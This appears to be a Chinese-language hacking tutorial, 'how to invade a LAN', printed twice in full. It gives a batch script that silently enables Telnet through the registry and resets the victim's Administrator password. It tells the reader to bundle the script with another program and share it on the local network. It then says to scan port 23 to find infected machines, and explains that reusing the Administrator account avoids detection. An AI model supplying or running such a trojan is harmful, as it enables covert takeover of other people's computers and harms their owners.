如何入侵局域网- - 新建一个文本文档,内容如下:
@echo REGEDIT4 > b.reg
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr] >> b.reg
@echo "Start"=dword:00000002 >> b.reg
regedit /s /c b.reg
del b.reg
net user administrator 154861
然后,将其另存为,.bat为后缀的文件。并将其与另一程序捆绑,在局域网上共享。
接下来就是等着别人上钩。
现在分析一下上面几行内容,
前三行是建一个注册表文件,起作用是修改注册表的键值,来达到系统自动启动Telnet
的目的。00000002是自动,00000003是手动,00000004是禁止启动。
regedit /s /c b.reg是将注册表文件通过后台运行导入注册表。
最后一行是将目标的Administrator的密码修改为154861。
这里我们为什么不新建一个帐户呢?
因为:
1:现在很多人用的是WINXP,并且使用欢迎界面登陆。新建帐户一眼就看出来了。
2:很多人的Aministrator是很久都不使用的,所以这就相对安全一些。
过一段时间以后,使用Superscan扫描一下网段的23端口。开了这个端口的十之八九
就是中计了。
接下来就是.............
@echo REGEDIT4 > b.reg
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TlntSvr] >> b.reg
@echo "Start"=dword:00000002 >> b.reg
regedit /s /c b.reg
del b.reg
net user administrator 154861
然后,将其另存为,.bat为后缀的文件。并将其与另一程序捆绑,在局域网上共享。
接下来就是等着别人上钩。
现在分析一下上面几行内容,
前三行是建一个注册表文件,起作用是修改注册表的键值,来达到系统自动启动Telnet
的目的。00000002是自动,00000003是手动,00000004是禁止启动。
regedit /s /c b.reg是将注册表文件通过后台运行导入注册表。
最后一行是将目标的Administrator的密码修改为154861。
这里我们为什么不新建一个帐户呢?
因为:
1:现在很多人用的是WINXP,并且使用欢迎界面登陆。新建帐户一眼就看出来了。
2:很多人的Aministrator是很久都不使用的,所以这就相对安全一些。
过一段时间以后,使用Superscan扫描一下网段的23端口。开了这个端口的十之八九
就是中计了。
接下来就是.............